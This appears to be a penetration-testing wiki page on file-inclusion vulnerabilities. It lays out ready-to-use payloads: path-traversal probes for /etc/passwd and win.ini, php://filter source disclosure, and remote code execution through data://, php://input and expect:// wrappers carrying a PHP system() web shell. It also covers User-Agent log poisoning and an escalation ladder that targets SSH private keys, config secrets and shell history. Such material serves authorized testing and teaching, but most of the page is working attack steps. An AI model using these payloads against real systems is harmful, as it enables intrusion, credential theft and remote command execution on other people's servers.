File Inclusion
The application takes a path or filename from user input and feeds it to a file-loading function. Operator controls the path → operator reads files. If the loading function also executes the file’s contents → operator gets RCE.
# Probe?page=../../../../etc/passwd # Linux path traversal?page=..\..\..\..\windows\win.ini # Windows path traversal?page=/etc/passwd # absolute path, if function doesn't prefix
# Read PHP source (function executes the file, can't read it directly)?page=php://filter/read=convert.base64-encode/resource=config
# Get RCE - three common paths?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id?page=php://input + POST body: <?php system($_GET["cmd"]); ?> + ?cmd=id?page=expect://id # if expect module loaded
# Log poisoning - when wrappers blockedUser-Agent: <?php system($_GET["cmd"]); ?> # in any request?page=/var/log/nginx/access.log&cmd=id # then include the logSuccess indicator: file contents, source code, or command output appearing in the response.
Where this lives
Section titled “Where this lives”Anywhere the application takes a filename or path from a request and uses it to load content:
- Templating parameters -
?page=about,?lang=en,?view=profile,?theme=dark - File-download features -
?file=invoice.pdf,?attachment=... - Avatar / image display -
/profile/<user>/avatar.png(often loads<user>/avatar.pngfrom disk) - Include-style operations - anywhere the app stitches partial templates together at request time
- Configuration endpoints - anything that loads “the configuration for X” by name
- Multi-language sites -
/about/en,/about/espatterns where the path segment selects a file
Anything that smells like “the server is loading a file from disk based on what I sent.”
Read vs Execute
Section titled “Read vs Execute”The single most important property of a file-inclusion sink is whether it just reads the file (returns contents) or executes it (interprets as code). This determines which attacks work.
| Language | Function | Read | Execute | Remote URL |
|---|---|---|---|---|
| PHP | include() / include_once() | yes | yes | yes |
| PHP | require() / require_once() | yes | yes | no |
| PHP | file_get_contents() | yes | no | yes |
| PHP | fopen() / file() / readfile() | yes | no | no |
| NodeJS | fs.readFile() / fs.sendFile() | yes | no | no |
| NodeJS | res.render() (Express) | yes | yes | no |
| Java | <jsp:include> | yes | no | no |
| Java | <c:import> | yes | yes | yes |
| .NET | Response.WriteFile() | yes | no | no |
| .NET | @Html.Partial() | yes | no | no |
| .NET | @Html.RemotePartial() | yes | no | yes |
| .NET | <!--#include--> | yes | yes | yes |
If the function executes the file, including a PHP/JSP/Razor file shows you the rendered output but not the source. Reading source code requires the PHP filters trick or equivalent.
If the function only reads, including any file gives you its raw contents - easier to read source, harder to escalate to RCE (you can’t just include a PHP file you uploaded).
Remote URL support is the door to RFI.
Decision flow
Section titled “Decision flow”1. Confirm LFI exists - can you read /etc/passwd or similar? │ ├─ Yes → continue └─ No → check basic bypasses (filter, encoding, traversal form) → see [Filter bypasses] │2. Does the function execute or only read? │ ├─ Read only → focus on file disclosure │ → see [Basic LFI] and [PHP filters] │ └─ Executes → can reach RCE; continue │3. Try PHP wrappers for direct RCE │ ├─ data:// works → done → see [Wrappers] ├─ php://input → done └─ expect:// → done │4. Wrappers blocked - try a chain │ ├─ App has file upload? → [File-upload chain] ├─ App writes server logs you can read? → [Log poisoning] ├─ Remote URL inclusion? → [RFI] └─ PHP session file readable? → [Log poisoning § PHP sessions]Decision-flow page links
Section titled “Decision-flow page links”- Read /etc/passwd as a first probe? → Basic LFI
- Path traversal blocked or filtered? → Filter bypasses
- Function reads source - want PHP code? → PHP filters
- Function executes - go for RCE via wrappers → Wrappers
- Wrappers blocked, app has uploads? → File-upload chain
- Wrappers blocked, can read server logs? → Log poisoning
- Function supports remote URLs? → RFI
- Need to find parameters, webroot, log paths? → Enumeration
Impact ladder
Section titled “Impact ladder”| Tier | What you can do | Path |
|---|---|---|
| 1 | Confirmed file read of public files (/etc/passwd, hosts file) | Basic path traversal |
| 2 | Read application config - database passwords, API keys, session secrets | Read /var/www/html/config.php etc. |
| 3 | Read source code via filter | php://filter/convert.base64-encode/resource=... |
| 4 | Read SSH private keys, sudo creds, history files | Read /root/.ssh/id_rsa, /home/*/.bash_history |
| 5 | RCE via wrapper | data://, php://input, expect:// |
| 6 | RCE via chain | File upload + LFI, log poisoning, RFI |
Tiers 1-3 are nearly free on most vulnerable apps. Tier 4 frequently turns LFI into “compromise the box” without ever reaching RCE through the LFI itself - read SSH keys, log in over SSH, done. Tier 5-6 give RCE directly via the web application.
Operating notes
Section titled “Operating notes”Read /etc/passwd as the first probe, always. It’s near-universally present on Linux, world-readable, and has a recognizable format. A failed probe is informative - tells you whether traversal works, whether the path is filtered, whether an extension is being appended.
Verbose errors are gold. When LFI fails, the error message often shows the full path the function tried to load. That reveals the path prefix, the extension suffix, and whether traversal was sanitized. PHP errors like “failed to open stream: No such file or directory in /var/www/html/index.php” are giving you the webroot.
Don’t forget Windows. If the server is Windows, /etc/passwd doesn’t exist - try C:\Windows\System32\drivers\etc\hosts, C:\Windows\win.ini, C:\inetpub\wwwroot\web.config. Path separators are flexible (forward slashes usually work even on Windows).
Check allow_url_include early. It’s the prerequisite for data://, php://input, and http://-based RFI. Reading /etc/php/X.Y/apache2/php.ini via PHP filters and grepping for allow_url_include tells you in one request whether the high-value wrapper paths are open.
The Basic LFI page is the right starting point if you’re new to a target. The wrapper and log-poisoning pages assume you’ve already confirmed LFI and are working toward RCE.